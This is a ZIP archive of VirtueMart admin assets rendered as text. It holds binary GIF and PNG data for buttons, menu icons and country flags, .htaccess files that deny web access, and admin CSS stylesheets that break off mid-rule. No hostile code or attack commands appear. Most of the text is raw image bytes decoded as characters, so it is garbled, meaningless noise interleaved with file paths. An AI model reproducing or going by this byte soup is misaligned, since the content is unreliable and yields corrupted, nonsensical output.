7G,Wlnw ,$l(,G0,4l8<@-DmH'L7PG-TWmXgu~L`-dmhlp-tmx|߀.n7G.Wngw砇.褗n騧ꬷ.n{߮/o'|~ IBL"H>;PKB\DЉ&assets/images/jtransform/btn_right.gifnuW+AGIF89a c㧧!, cPd) , M . ȤRX:NeAZvq9 ,-p@b'~} )6*E: EQJH]VTlalxqo}{ +Xj%aF5QׁcH.bx3*?|vP*RS@7._ w ݞ6q;x?t`FkU;PKB\"assets/images/jtransform/radio.gifnuW+AGIF89a&􀀀Ѽſû!,&@pH,EFH@ACjJKIW+ 1b< d`X5($a#";w*/"()0fh 4uw+ '&   6 "RB C#&HBJLNPBTVXZ\^B`blJ͛8sN2D@@)ѢF 4K@hd FCTb&QuKR- HW* dZ1dҦ1sM5qشqrЩGH;PKB\)"assets/images/jtransform/.htaccessnuW+A Order allow,deny Deny from all PKB\Ul%assets/images/jtransform/checkbox.gifnuW+AGIF89a&!,&nkIg$.`(Qh幮 5//̄Ȥ2 i:Phe*ph+dweƩ2 p&vA beqq^n ?h?GKQ ;PKB\ˣ%assets/images/jtransform/btn_left.gifnuW+AGIF89ac⦦!,c`B0I)tmx|˺Ȥr\h/dJZجvzxL.g)zn\^~l  Ϻ HA*\ȰÇ 8Hŋ3jȱǏ CIɓ'%\ɲ˗0cʔr͛8sϟ@ ڒH*]ʴӧPJJիXjݺׯ`ÊKٳ^Ϫ]˶۷d $Kݻx˷߿ LÇ"^̸ǐ#Kx˘3kϠCMӨS^ͺװc˞=3۸sͻo~ N㽃#_μ 0NسkνËO _Ͼ˟~?€ ((` .F(aUhNf ($(( :8@(4h8<@)Di$!H&PF)%NNiX*Ye\v"d9KflNfp)oixr9|矀Vgj 袌61@$餔Vji@^馜v Q*ꨤsQ?꫰*Gj뭸ZkkL%klX6 WF+Jugf6vm+}K覫_@ƻ\kFo+v' wpG,=Lgw ,$l(,0,l8<@- mHCPtL7NG-iX[Ru\w^-`mfl}n-Mx獌ߝ ~'G.Wn_f砳j@lnz꬟z.;Uk[{d.f@'k/7 ,}g/ws?槯h/o!;PKB\,$1,assets/images/icon_16/menu-icon16-report.pngnuW+APNG  IHDRabKGD pHYs  tIME 0 WjIDAT8ˍKHQs"DGL+-hZIh)A w2P"h""E%JK/ddI&d6C+_qP/8|W557O.bY%B+Rjd^lhittT6"n nϠNj3*v;9YYu fl4PJ@f|bd;7J^`)R01 mF$%&g5DGE`x~mz1C&J쬟tt(:'M$jr em3= yG񎱿,bj))!%Df"7+4I#Wf5^KeZ E2 =.RO^Tٳ +--SzSH>lUXty>k }dqB!„[)|K`=] 0m=19בU`-PjieXZǘZ!33s~ՆYMO76]CV Z,gJVDB?|7Z㐍IENDB`PKB\" +assets/images/icon_16/menu-icon16-media.pngnuW+APNG  IHDRabKGD pHYs  tIME 88MQoIDAT8uAHTQ{}.lL4% j"3IhDAD1EGm׀MDm tHMS|3nfu.?sqos64B`sء~#A ijAMbi ^T|FX%ORnb1P-9zKlFv>ffo;~eK# J ,Ւ5 w懇)QPej!Je&Pd*̅+@q)W ^9(l%CJCHP-p~#xh=X& @`h9z^$ +K$웮fUܛx6Lg1&iu4Fw ]yeIGX>̅sGkRsůo=vJk0 GC x$ ]~0ʱ֦GD/;%H[;?j>r @L :8x+g_g)Xkq|8vŰ]?R߂)MC@%#]]UM;5)qܯ%D7M9c;oߌR*!w%n%eڂ}-"r3 ZGNDܪjZ.V\ބ̖IENDB`PKB\Ũ.assets/images/icon_16/menu-icon16-products.pngnuW+APNG  IHDRabKGD pHYs  tIME  &1M}IDAT8˥kaHg&M[ӈL_QW>A n] *"XEDn|Ҧ QۈM 6I{g=p˄cziZ/_-p;kZx"@[[۶lkJx7ibYn߹+#cQQ(ժTʓre@ʀH<)FDq$""7o=22}NΜ>IuBuox@%ŮNz2Y~F~f(´,#8ǙhT(Iw!cC.G+e֨0DkmCv! c&&JlZT;K:V4g89DBkEСGss5assets/images/icon_16/menu-icon16-shipmentmethods.pngnuW+APNG  IHDRabKGD pHYs  tIME 9G[lIDAT8ŒMHTa{Mc3N PmDha"D-Jĝ- -6ZT."E6 . EQqB}c-}WXkXԭZ{UlmP(HR>iIf+b={w'T!C[&QCq|P-]޻o@\ {0+ :hNΡāl%g9`bؘER (u $CQۨDS6OF S,?z#vp9CbF#˼$ C"X@28pVq _ \tUQ5 ބItRǣ'ϋt4hi`x (Px<`;5~G_Tcj]]gfk!0§tvF\-ՈRֶL-Ն8ږ2o}|`Gqfhq<7_B,6/O?~`{KIENDB`PKB\)assets/images/icon_16/.htaccessnuW+A Order allow,deny Deny from all PKB\=l)),assets/images/icon_16/menu-icon16-orders.pngnuW+APNG  IHDRabKGD pHYs  tIME 1(@8s|IDAT8}MkQs`Bp.p]l>JPicVvQbqъ3E&)… w9?fٚ9A";nϷW4M|>:brzJe fwAۉ "f  * :{{NӴߴ Qa,,Wj'[[5@58xBU1bfP5`9WE c6ff@n.'0l%M"՟+._p}P(r4vKkg΅kyv$k$w͌p)ZRkO?x5uc'sH{b7Wo  {~T*̌sQ?$=:ƥl.j"ƫsi5 bͲS8$1nٳ?#Mg[W`+agMiPM^P.U\Ѕjy{lfҵIĞwnX [ނ#FsW!$MwxX(JgH&7t\|g"wƀ.>壭L M`x|U[o]GN:JK)llW*߾4!{ c9A|1Xpd2-Xx" <͵kr, J3↣\4eď?p~Ν@K{c$v!k#h$!mIrcOHRA p a9H@n8`%$ o}U7JD({ ZP.KUSD{uDEk`hT"/&77V(fY2FQʞQZy =+ G:&IENDB`PKB\u??0assets/images/icon_16/menu-icon16-categories.pngnuW+APNG  IHDRabKGD pHYs  tIME 2,@IDAT8ˍOhgf&\ ƚRD4Fi-=PEsPP(R "VE/XB(fWKLwmM}{ۃa摩(8 J#̉wAҀ M~JFIFknz[ JLD/qB kR/}SŚ8yM.\3e0hV Jd8Q] uI&V/rE#IZ_[s >-e YգY{p1@Q:n7t!tǼوq%Dp+.U)-(KЈR43كgf1us賃Q6oi><@kFD ˶aK%}oMS]Z xƿ 1P̱&;p5 & CIvl{Y5./YbQD m IENDB`PKB\>V3assets/images/icon_16/menu-icon16-manufacturers.pngnuW+APNG  IHDRabKGD pHYs  tIME 4 vKS~ IDAT8ˍKa?3ꮻ EdAK: tJ*:DtJ S((ҐdhG-B+WWY7_;] /WbzҔb K}$? IN; z^.>*-,w=?s5~1166F(DUU ]@Nt)Õ`-뿋:xy5 A24K(WF7$1U9 {C,*M[i;q/zU+T^M8eژǬGLnm 5EQ`0ͥR"}R(RV0_=:++_d6oO0wsIENDB`PKB\#t2??.assets/images/icon_16/menu-icon16-shoppers.pngnuW+APNG  IHDRabKGD pHYs  tIME 3#IDAT8͒=op7JhJ^$ IAj#L2 : 1'`bꂄ@| KP"@4UhbD!R;q*E2-tNuHd'3Kf¿7nk:.`zGw)D*3)iP*.T<"/\^5N 31>.>akƕscd#si(`R'ih$Y2l7qȉȀAOm>#[0: /g>8j Q v+A;:v*o_^X/8Bebf`zBnIX6/a' ޕފǥ; 9v{c*Kt]0 i$!\<|Q,( Xl6+zeԅ5M\o)NIENDB`PKB\v4assets/images/icon_16/menu-icon16-paymentmethods.pngnuW+APNG  IHDRabKGD pHYs  tIME 9; _IDAT8ˍOHA~\\[6)?{EzRnE7d! kuCQPbSfQmԭvf:| }f}FMҁwބ>AX(AY.T>L6S7;0nz e1~P滊:y^> G7GӐBK(梹@ ` uF/瑚ZH|].R-⪰@@ i uZr;?AV#uU0P/ִm/|\j>X-Xܴ9xR1;遱(N,#<8oUotfrOGp,ŷ{12vl70p_(d_߾!f) y tڝz ,0SZ~b 1Rsc2 C Kv)tmPA,@ЩMmX@u].56ոoijL1`qV[U}BIENDB`PKB\)"assets/images/admin_menu/.htaccessnuW+A Order allow,deny Deny from all PKB\C]]&assets/images/admin_menu/vm_border.pngnuW+APNG  IHDRdpRPLTERD'IDATx#nIENDB`PKB\hWY%assets/images/admin_menu/vm_arrow.gifnuW+AGIF89a ppp!, % QYA 00+ (7%A 5 ;PKB\x*assets/images/admin_menu/vm_arrow_down.gifnuW+AGIF89a ppp!Created with The GIMP!, & y6rM 2!$)C;PKB\2j22#assets/images/admin_menu/index.htmlnuW+A PKB\)assets/images/.htaccessnuW+A Order allow,deny Deny from all PKB\ݺassets/images/backgrounds.pngnuW+APNG  IHDR YbtEXtSoftwareAdobe ImageReadyqe<fiTXtXML:com.adobe.xmp ` IDATxˍ0 DINz-$5t~^! ii@Q{3_}.Pj2/UZj~Ԭ 6. fʨ1nfu;o9U;Q6LKǶw'Vz"`Y5Q0ME_evMkkEuvIbѡɉ޸ڏ+H蹾~ፐm ihqoopfjKMݬܤw-u=iq>BHIDATx0Do% MJhDWdg᜙Yxƺ(`z?>V5#MCt&"M6ݎz=bYƫ,\+LyBBD1!erE$e\2TTbO<_2ױ/Pl=E>IENDB`PKB\zTassets/images/flag/lt.pngnuW+APNG  IHDR І pHYs  tEXtCreation Time08/15/08)W#IDAT(ScS?1!e0AuQHT1IENDB`PKB\(Dassets/images/flag/ar.pngnuW+APNG  IHDR XPLTE3A"N3\DiUwfwɈϙ֪5r pHYs  PIDAT V % <y Rx2@oX@`w2;`gf0~xKSHIENDB`PKB\assets/images/flag/us.pngnuW+APNG  IHDR nIDAT(SMQKTQP>X>ҋVj+S7ACh5\ Z|rPY|,",R,{5]1 |gfA`ƀQɿ|G(75PQTcJg*Z7إ I&7tZ?e6@ 5+ P*T+8~5t=Y&.uΝK6Kaά~um{YCَ2k+  r6 C&Wf)ΣSk3i.%Ni嫍yKk_7MF= ڞG ϱB!t]J('w]FSLO>cazE(ib#M/D >b;HK%,xp`_k0;< gTd-=:LHJIENDB`PKB\assets/images/flag/pt-pt.pngnuW+APNG  IHDR XuPLTEb31#$12>>XFM b*U*` ic\lgIFg |YSMIDATc` 0B b`fbeCᒓDUPVTQFqJHIɋKryyxyAB^xi.IENDB`PKB\y&assets/images/flag/eu.pngnuW+APNG  IHDR k= pHYs  7tEXtCommentCreated by Jose A. Reyero, freelance@reyero.netMIIDAT(c`Hcg@ct=`f[40HpBQG g)3ƔD6Y d5*,Va #+/?_R柌q/!bcKISD.f*h߸(rN$?lys?@0@a `@DWPg d€t K:_JƂjUaTIENDB`PKB\t$%assets/images/flag/zh-hans.pngnuW+APNG  IHDR k=sRGBIDAT(Sc)>v`6Hf)(u)[@T^ 4l0AnI bȅn2#O O "+D hn<⎲kuA`P@xG &"@*5@?!cgIENDB`PKB\KQ&assets/images/flag/tr.pngnuW+APNG  IHDR X?PLTE !%$+*+EOpxy譨7gIFg |YS2IDATc`0r2q 30p! p f~&4!>A&t' WL6IENDB`PKB\assets/images/flag/zh-hant.pngnuW+APNG  IHDR k=sRGBhIDAT(c``hP wx1Ƽ`0hL{0VVD V;$?Gm` bm3Cb@vE@IENDB`PKB\ۺxyyassets/images/flag/nl.pngnuW+APNG  IHDR |/ PLTE!F(4 pHYs  IDAT[cLr,Bc-IENDB`PKB\Rassets/images/flag/da.pngnuW+APNG  IHDR  PLTE 3`gIFg |YSIDATcd``Կ$a(102H QdIENDB`PKB\assets/images/flag/se.pngnuW+APNG  IHDR \9ͳHPLTE86 76o*Uv)Oz)L|)K(F'@&:&8#&N"2>AI(Pw=x<x=dNgIFg |YS>IDATcq!*+&$%*. aiad -h0w))1{IENDB`PKB\assets/images/flag/sk.pngnuW+APNG  IHDR X`PLTE8:5: 3!7-O(&*+'V 4%8,>Tfe>PU}bFWK^Sb]uskx犕狕럧ʒ! pHYs  IIDAT70##r%dU$Rfq(=)^=PvțPk fIENDB`PKB\rassets/images/flag/tg.pngnuW+APNG  IHDR OG>XFM b*U*` ic\l Order allow,deny Deny from all PKB\w!assets/images/flag/gl.pngnuW+APNG  IHDR XPLTEc)h/m-qOoq;r3vJxr)|9xb3*R{j̢i5W>N q:Ƕu1sɩq*U:=%I`J6 "'ep⬲IENDB`PKB\ \tassets/images/flag/is.pngnuW+APNG  IHDR v K!PLTE855xxJ}rm_gIFg |YS&IDATc```Ls`L%% % P`Hd&U`$IENDB`PKB\@Cassets/images/flag/ca.pngnuW+APNG  IHDR  G pHYs  8IDAT(cD z>&]^N=wXIp#rCN?d?ЩIENDB`PKB\e<assets/images/flag/nn.pngnuW+APNG  IHDR 䅪 pHYs  2IDAT(cx Gg" Y1 B Q\.QA"YNlb!2IENDB`PKB\ Eu[[assets/images/flag/tl.pngnuW+APNG  IHDR x0}u pHYs   IDAT8c~͈m,V,_e--x̮3VR$y ;d߇-`uL]?(5@ ?ߺ5X}ީ/?'F2F fH w@EW`Hw?'A2G2E C{R`>]IENDB`PKB\( assets/images/flag/cs.pngnuW+APNG  IHDR <*PLTE#$;E~G8bS5]#Au$T&ULt` + pHYs  ;IDAT[cs XVga,n8x e2R+@ JTL,"P|- IENDB`PKB\|uuassets/images/flag/ga.pngnuW+APNG  IHDR ^ PLTEc=`Y pHYs  IDATc``X*4ܡ萭IENDB`PKB\assets/images/flag/index.htmlnuW+APKB\ qqassets/images/flag/pl.pngnuW+APNG  IHDR PLTE<5 pHYs  IDAT[c6lX5S eOIENDB`PKB\4$assets/images/flag/fi.pngnuW+APNG  IHDR "PLTE5 =M-YUxd" pHYs  "IDATcHKKePKLg``. "IENDB`PKB\ 99assets/images/flag/br.pngnuW+APNG  IHDR PLTE(o2j0v3!x7"g5#z6$w5&w7%~;)C.rY?UaG][FSIRLSMSO^W^[? =;qq9@/*/P+_'AKΠΠ ּ =gIFg |YScIDATcA PZTNUDRCKCIDLI[QI &"&,)PҒRH2q0)@E@T8yա`&(#Lb;6" IENDB`PKB\X,assets/images/flag/lv.pngnuW+APNG  IHDR І pHYs  tEXtCreation Time08/15/08)W IDAT(chO-0j"a7Faʬ(5,IENDB`PKB\wttassets/images/flag/fr.pngnuW+APNG  IHDR |/ PLTE *AE pHYs  IDATc`Z@1 ;-^N$IENDB`PKB\~ooassets/images/flag/ro.pngnuW+APNG  IHDR |/ PLTE+&MͭgIFg |YSIDATc`Z@1 ;-^N$IENDB`PKB\G3assets/images/flag/el.pngnuW+APNG  IHDR <'PLTE,9HT`jcldnhq|ͫ֯ؼH! pHYs  v`6Hf)(u)[@T^ 4l0AnI bȅn2#O O "+D hn<⎲kuA`P@xG &"@*5@?!cgIENDB`PKB\assets/images/flag/hant.pngnuW+APNG  IHDR k=sRGBhIDAT(c``hP wx1Ƽ`0hL{0VVD V;$?Gm` bm3Cb@vE@IENDB`PKB\ 99assets/images/flag/pt-br.pngnuW+APNG  IHDR PLTE(o2j0v3!x7"g5#z6$w5&w7%~;)C.rY?UaG][FSIRLSMSO^W^[? =;qq9@/*/P+_'AKΠΠ ּ =gIFg |YScIDATcA PZTNUDRCKCIDLI[QI &"&,)PҒRH2q0)@E@T8yա`&(#Lb;6" IENDB`PKB\%assets/images/flag/sco.pngnuW+APNG  IHDR "!PLTEr w"L~ pHYs  AIDAT[cXUVX20Wtd`BB eYU V533 ڐ Ca1&kIENDB`PKB\g9>assets/images/flag/he.pngnuW+APNG  IHDR v KPLTE@"YDs[֛朵}g pHYs  -IDAT[c @@2`Y QR e7GbP0n(IIENDB`PKB\llassets/images/flag/uk.pngnuW+APNG  IHDR UPLTE:uͶgIFg |YSIDATc`? uHqIENDB`PKB\UMDDassets/images/flag/fa.pngnuW+APNG  IHDR PLTEAACCDDEEGGHHIIJJKKLLLLMMQQ#@zz_t_uavbubwbwcydxezdxgzh{h|i}i}j~k`+ pHYs  ZIDATWcHPWPQbЇmu8.!"!˯g30rsp20s2pp3P y'},IENDB`PKB\massets/images/flag/vi.pngnuW+APNG  IHDR XHPLTE&&%&%/#<#<#?"D"H"I"v gIFg |YSBIDATc` bpٹ898ّE13jDaebeAb<IENDB`PKB\I1yyassets/images/flag/ru.pngnuW+APNG  IHDR |/ PLTE/.. pHYs  IDAT[cX 0I\ 0Ic-NIENDB`PKB\vhlassets/images/flag/fo.pngnuW+APNG  IHDR v K*PLTE,//63=>VHl#(KMXwሽb pHYs  2IDAT[c{] {@؈ XVL'DYIENDB`PKB\O]wwassets/images/flag/lb.pngnuW+APNG  IHDR buh PLTE+-# pHYs  IDATcaLr6+=IENDB`PKB\rassets/images/hide.pngnuW+APNG  IHDR+jtEXtSoftwareAdobe ImageReadyqe<wIDATxϏPǧRv{ zHbօ38GģG\U$qLH)ḅe m].lM^̼73}|>^RPx(+ 3Iu6p{jxGTe-Xo$ CU/F6x Order allow,deny Deny from all PKB\℘assets/css/vm.cssnuW+A.icon-32-vm_new_32 { background: url(../images/icon_32/vm_new_32.png) no-repeat left; } .icon-48-vm_config_48 { background: url(../images/icon_48/vm_config_48.png) no-repeat left; } .icon-48-vm_user_48 { background: url(../images/icon_48/vm_user_48.png) no-repeat left; } .icon-48-vm_usergroup_48 { background: url(../images/icon_48/vm_shoppers_48.png) no-repeat left; } .icon-48-vm_module_48 { background: url(../images/icon_48/vm_modules_48.png) no-repeat left; } .icon-48-vm_store_48 { background: url(../images/icon_48/vm_store_48.png) no-repeat left; } .icon-48-vm_payment_48 { background: url(../images/icon_48/vm_payment_48.png) no-repeat left; } .icon-48-vm_credit_48 { background: url(../images/icon_48/vm_credit_48.png) no-repeat left; } .icon-48-vm_product_48 { background: url(../images/icon_48/vm_product_48.png) no-repeat left; } .icon-48-vm_categories_48 { background: url(../images/icon_48/vm_categories_48.png) no-repeat left; } .icon-48-vm_countries_48 { background: url(../images/icon_48/vm_countries_48.png) no-repeat left; } .icon-48-vm_currency_48 { background: url(../images/icon_48/vm_currency_48.png) no-repeat left; } .icon-48-vm_orders_48 { background: url(../images/icon_48/vm_orders_48.png) no-repeat left; } .icon-48-vm_vendors_48 { background: url(../images/icon_48/vm_shop_vendors_48.png) no-repeat left; } .icon-48-vm_tax_48 { background: url(../images/icon_48/vm_tax_48.png) no-repeat left; } .icon-48-vm_ups_48 { background: url(../images/icon_48/vm_ups_48.png) no-repeat left; } .icon-48-vm_shipment_rates_48 { background: url(../images/icon_48/vm_shipment_rates_48.gif) no-repeat left; } .icon-48-vm_shop_users_48 { background: url(../images/icon_48/vm_shop_users_48.png) no-repeat left; } .icon-48-vm_manufacturer_48 { background: url(../images/icon_48/vm_manufacturer_48.png) no-repeat left; } .icon-48-vm_product_files_48 { background: url(../images/icon_48/vm_product_files_48.png) no-repeat left; } .icon-48-vm_coupon_48 { background: url(../images/icon_48/vm_coupon_48.png) no-repeat left; }PKB\.55assets/css/admin_ui.cssnuW+A/* VirtueMart Admin Area */ .virtuemart-admin-area {border: hidden #b4b4b4 1px; -moz-border-radius-bottomleft: 6px; -moz-border-radius-bottomright: 6px; -webkit-border-bottom-left-radius: 6px; -webkit-border-bottom-right-radius: 6px; overflow: visible; background: url(../images/admin_ui/container_bg_blue.png) repeat-y scroll 0 0 ;} * html .virtuemart-admin-area { /*IE6 only*/ overflow: visible;height: 1px;} .virtuemart-admin-area .menu-wrapper {width:190px ;float: left;} /*.virtuemart-admin-area #admin-content-wrapper {margin-left: auto;overflow:visible} /*.virtuemart-admin-area .menu-wrapper, .virtuemart-admin-area #admin-content-wrapper {padding-bottom: 16000px;margin-bottom: -16000px;}*/ .virtuemart-admin-area #admin-content-wrapper .admin-content {margin: 0;padding: 0;overflow: auto; background: left repeat-y #fff;border-left: solid #b4b4b4 1px;height:540px;} .virtuemart-admin-area #admin-content-wrapper .admin-content {height:auto;min-height: 540px;} #header { background: url(../images/admin_ui/header_bg.png) repeat-x scroll 0 0 #F0F0F0;padding:3px;padding-left: 10px;padding-right: 10px;} .ratingbox{position:relative;display:block;width:120px;height:24px;background:url(../../../../../components/com_virtuemart/assets/images/color-stars.png) repeat-x scroll 0 bottom transparent} .ratingbox span{background:url(../../../../../components/com_virtuemart/assets/images/color-stars.png) repeat-x;display:block;width:1%;height:24px;position:absolute} .stars-orange{background-position:0 0 !important;} .stars-red{background-position:0 -54px !important;} .stars-green{background-position:0 -108px !important; } .stars-blue{background-position:0 -162px !important;} .stars-purple{background-position:0 -216px !important;} /* Overwriting Joomla Admin Template */ /* Toolbar */ #element-box, #toolbar-box, #submenu-box {padding: 0 !important; } #element-box .t, #element-box .b {display: none;} #content-box #element-box .m, #content-box .m {border: none;padding: 0px;background: none;} #content-box #toolbar-box {border-top: solid #b4b4b4 1px;border-left: solid #b4b4b4 1px;border-right: solid #b4b4b4 1px;margin: 0px;padding:0;-moz-border-radius: 6px 6px 0 0; -webkit-border-radius:6px 6px 0 0;background: #fff url(../images/admin_ui/head_bg.png) center center repeat-x;} #content-box #toolbar-box .m {border: solid #fff 1px;padding: 7px 10px 4px 10px;background: none repeat scroll 0 0 transparent; -moz-border-radius: 6px 6px 0 0; -webkit-border-top-left-radius:6px; -webkit-border-radius:6px 6px 0 0;text-shadow: 0px -1px 1px #fff;} #content-box #toolbar-box a.toolbar {border: none;} #content-box #toolbar-box .m .header {color: #444444;font-weight: normal;padding: 0px 0px 0px 60px;margin: 3px 0px 0px 0px;background-position: left center;background-repeat: no-repeat;} #content-box #toolbar-box .t, #content-box #toolbar-box .b {display: none;} .bartext { display: block;font-size: 12px;font-weight: bold;line-height: 32px;vertical-align: inherit;white-space: nowrap;width: auto !important;} /* System Messages overide */ #system-message {margin: 0px !important;overflow: auto;} #system-message dd.message {background: #4693BB url(../images/admin_ui/saved_background.png) top repeat-x ; max-height: 400px; overflow: auto;} #system-message dd.message ul {color: #000; background: url("../images/icon_32/information.png") no-repeat 8px center transparent;} #system-message dd.message ul ,#system-message dd.error ul,#system-message dd.notice ul{margin: 0px; border-bottom: 1px solid #84A7DB !important; border-top: 0px !important;;} /* System Messages VM2 */ #system-message dt.save,#system-message dt.remove,#system-message dt.cancel {display: none;} /* info message in dark grey */ #system-message dd.remove,#system-message dd.save,#system-message dd.cancel {color: #F4F6F8; background: #7c7d7f url(../images/admin_ui/tabs-ul-background.png) top repeat-x !important;} /* message in RED */ dl#system-message dd.error,l#system-message dd ul .vmdebug { background: #ffffff url(../images/admin_ui/save_bg.png) top repeat !important;} /* message in RED */ dl#system-message dd.notice { background: #eee url(../images/admin_ui/header_bg.png) top repeat-x !important;} /* message icons */ #system-message dd.message ul {background: url("../images/icon_32/information.png") no-repeat scroll 8px center transparent !important;} #system-message dd.notice ul {background: url("../images/icon_32/notice.png") no-repeat scroll 8px center transparent !important;} #system-message dd.remove ul {background: url("../images/icon_32/bin.png") no-repeat scroll 8px center transparent !important;} #system-message dd.save ul {background: url("../images/icon_32/disk.png") no-repeat scroll 8px center transparent !important;} #system-message dd.cancel ul {background: url("../images/icon_32/cancel.png") no-repeat scroll 8px center transparent !important;} #system-message dd ul .vmdebug{background: url("../images/icon_32/elements_16.png") no-repeat scroll 0px top transparent !important;display: block;} #system-message dd.error ul {background: url("../images/icon_32/exclamation.png") no-repeat scroll 8px center transparent !important;} fieldset input,fieldset textarea,fieldset select,fieldset img,fieldset button{float:left;width:auto;margin:5px 5px 5px 0} input.readonly{ border: 0 none;} /*.adminform {border: 0 none;}*/ .adminform input.readonly{ text-align:right; border: 0 none; font-size: 0.909em;font-weight: normal; color:#000; width:75px } /* vmdebug */ .vmdebug pre{ padding-left: 32px;} .adminform th{text-align: right!important;} dl#system-message dd .vmdebug { font-size:10px; } /* Fieldset */ .virtuemart-admin-area fieldset {border-radius: 6px;-moz-border-radius: 6px;-webkit-border-radius: 6px;} .virtuemart-admin-area fieldset legend {padding: 0px 10px;} /* Inputs */ .virtuemart-admin-area fieldset input {float: none;clear: none;display: inline-block;} .virtuemart-admin-area fieldset label, .virtuemart-admin-area fieldset.adminform label, .virtuemart-admin-area fieldset.adminform span.faux-label {float: none;clear: none;display: inline-block;min-width: 0px;} .virtuemart-admin-area div.tabs {margin-bottom: 240px;} textarea {width: 100%;} /*.datepicker{width: 60px;} seems unused*/ .translator { border-left: 4px solid #1FBE42; padding-left: 8px ; } /* Tabs */ /* The Navigation Area */ /*#admin-ui-tabs {overflow: visible !important;}*/ #admin-ui-tabs ul#tabs {list-style-type:none;margin: 0px;padding: 0px ;background: #7c7d7f url(../images/admin_ui/tabs-ul-background.png) bottom repeat-x;} #admin-ui-tabs ul#tabs li {vertical-align: top;color: #FFFFFF;cursor: pointer;display: inline-block;vertical-align: middle;font-size: 12px;height: 32px;letter-spacing: 1px;padding: 5px 0 0 0;text-align: center;text-shadow: 0 -1px 1px #000000;} #admin-ui-tabs ul#tabs li span{ line-height: 12px;padding-top: 0px;position: relative;vertical-align: middle;} #admin-ui-tabs ul#tabs li.current {background: #fff url(../images/admin_ui/tabs-li-background.png) top repeat-x;color: #444444;text-shadow: 0px -1px 1px #fff;-moz-border-radius-topleft: 6px;-moz-border-radius-topright: 6px;-webkit-border-top-left-radius: 6px;-webkit-border-top-right-radius: 6px;-moz-box-shadow: 0px -1px 2px #3f3f40;cursor: default;border: 0 none;} /* The Content Area */ /*#admin-content {overflow: visible;} #admin-ui-tabs {overflow: visible !important;}*/ /*#admin-ui-tabs .tabs {padding: 10px 1px 10px; overflow: visible !important;}*/ #admin-ui-tabs .tabs {padding: 10px 1px 10px; overflow: visible;} /*#admin-ui-tabs .tabs table {overflow: auto !important;}*/ /* do not change the line below !!! */ #admin-ui-tabs .dyn-tabs {overflow:auto;display:none;} /* Table */ table.adminlist .right{text-align: right;} /* Admin Menu */ #admin-ui-menu {border-bottom:1px solid #94B1CF;} #admin-ui-menu h3.menu-title {background: url("../images/admin_ui/page_bg_blue.png") repeat-x scroll center top #888;cursor:pointer;border-top: 1px solid #94B1CF;margin: 0px;padding: 6px 20px;color: #fff;font-size: 13px;font-weight: normal;color: #333;} .menu-vmlogo {background: url("../images/vm_logo.png") no-repeat scroll center bottom #707174;color: #333333;cursor: pointer;font-size: 13px;font-weight: normal;height: 30px;margin: 0;padding: 0;} .menu-notice { margin: 35px;padding: 5px;text-align: center;} .menu-notice a:link ,.menu-notice a span {color :#000 ;} #admin-ui-menu h3.current,#admin-ui-menu h3.menu-title:hover { background:url("../images/admin_ui/tabs-ul-background.png") repeat-x scroll center bottom #7C7D7F; color :#efefef ; } #admin-ui-menu .menu-list {border-top: 1px solid #94B1CF;overflow: hidden !important;} #admin-ui-menu .menu-list ul {margin: 0px;padding: 4px 4px 0px 10px;background:none repeat scroll 0 0 #F7F7F7;border-bottom: 1px solid #888888;} #admin-ui-menu .menu-list ul li {list-style: none;} #admin-ui-menu .menu-list ul li a {color: #000000;display: block;font-size: 12px;margin: 12px 0;text-decoration: none; opacity : 0.8; -moz-opacity : 0.8; -ms-filter: "alpha(opacity=90)"; /* IE 8 */ filter : alpha(opacity=90); /* IE < 8 */ } #admin-ui-menu .menu-list ul li a:hover {color: #888; opacity :1;-moz-opacity : 1; -ms-filter: "alpha(opacity=100)"; /* IE 8 */ filter : alpha(opacity=100); /* IE < 8 */ } #admin-ui-tabs .not-active .hasTip { opacity : 0.5; -moz-opacity : 0.5; -ms-filter: "alpha(opacity=50)"; /* IE 8 */ filter : alpha(opacity=50); /* IE < 8 */ font-weight: normal; } /*//////////////////////////////////// ////////////// Basics //////////////// ////////////////////////////////////*/ .inline {display: inline-block;vertical-align: middle;} .clear {clear: both;} .floatleft {float: left;} .floatright{float: right;} .center{text-align: center} .right {text-align: right;} /*//////////////////////////////////// ///////////// All Width`s //////////// ////////////////////////////////////*/ .width1{width:1%}.width2{width:2%}.width3{width:3%}.width4{width:4%}.width5{width:5%}.width6{width:6%}.width7{width:7%}.width8{width:8%}.width9{width:9%}.width10{width:10%}.width11{width:11%}.width12{width:12%}.width13{width:13%}.width14{width:14%}.width15{width:15%}.width16{width:16%}.width17{width:17%}.width18{width:18%}.width19{width:19%}.width20{width:20%}.width21{width:21%}.width22{width:22%}.width23{width:23%}.width24{width:24%}.width25{width:25%}.width26{width:26%}.width27{width:27%}.width28{width:28%}.width29{width:29%}.width30{width:30%}.width31{width:31%}.width32{width:32%}.width33{width:33%}.width34{width:34%}.width35{width:35%}.width36{width:36%}.width37{width:37%}.width38{width:38%}.width39{width:39%}.width40{width:40%}.width41{width:41%}.width42{width:42%}.width43{width:43%}.width44{width:44%}.width45{width:45%}.width46{width:46%}.width47{width:47%}.width48{width:48%}.width49{width:49%}.width50{width:50%}.width51{width:51%}.width52{width:52%}.width53{width:53%}.width54{width:54%}.width55{width:55%}.width56{width:56%}.width57{width:57%}.width58{width:58%}.width59{width:59%}.width60{width:60%}.width61{width:61%}.width62{width:62%}.width63{width:63%}.width64{width:64%}.width65{width:65%}.width66{width:66%}.width67{width:67%}.width68{width:68%}.width69{width:69%}.width70{width:70%}.width71{width:71%}.width72{width:72%}.width73{width:73%}.width74{width:74%}.width75{width:75%}.width76{width:76%}.width77{width:77%}.width78{width:78%}.width79{width:79%}.width80{width:80%}.width81{width:81%}.width82{width:82%}.width83{width:83%}.width84{width:84%}.width85{width:85%}.width86{width:86%}.width87{width:87%}.width88{width:88%}.width89{width:89%}.width90{width:90%}.width91{width:91%}.width92{width:92%}.width93{width:93%}.width94{width:94%}.width95{width:95%}.width96{width:96%}.width97{width:97%}.width98{width:98%}.width99{width:99%}.width100{width:100%} /* Icons */ .print_32, .icon-32-print {background: url(../images/icon_32/printer.png) no-repeat transparent; float:left;height: 32px;margin: auto;text-align: center;width: 32px;} .invoice_32, .invoice-32-print {background: url(../images/icon_32/invoice.png) no-repeat transparent; float:left;height: 32px;margin: auto;text-align: center;width: 32px;} .invoicenew_32, .invoice-32-print {background: url(../images/icon_32/invoicenew.png) no-repeat transparent; float:left;height: 32px;margin: auto;text-align: center;width: 32px;} .deliverynote_32, .deliverynote-32-print {background: url(../images/icon_32/deliverynote.png) no-repeat transparent; float:left;height: 32px;margin: auto;text-align: center;width: 32px;} .deliverynotenew_32, .deliverynote-32-print {background: url(../images/icon_32/deliverynotenew.png) no-repeat transparent; float:left;height: 32px;margin: 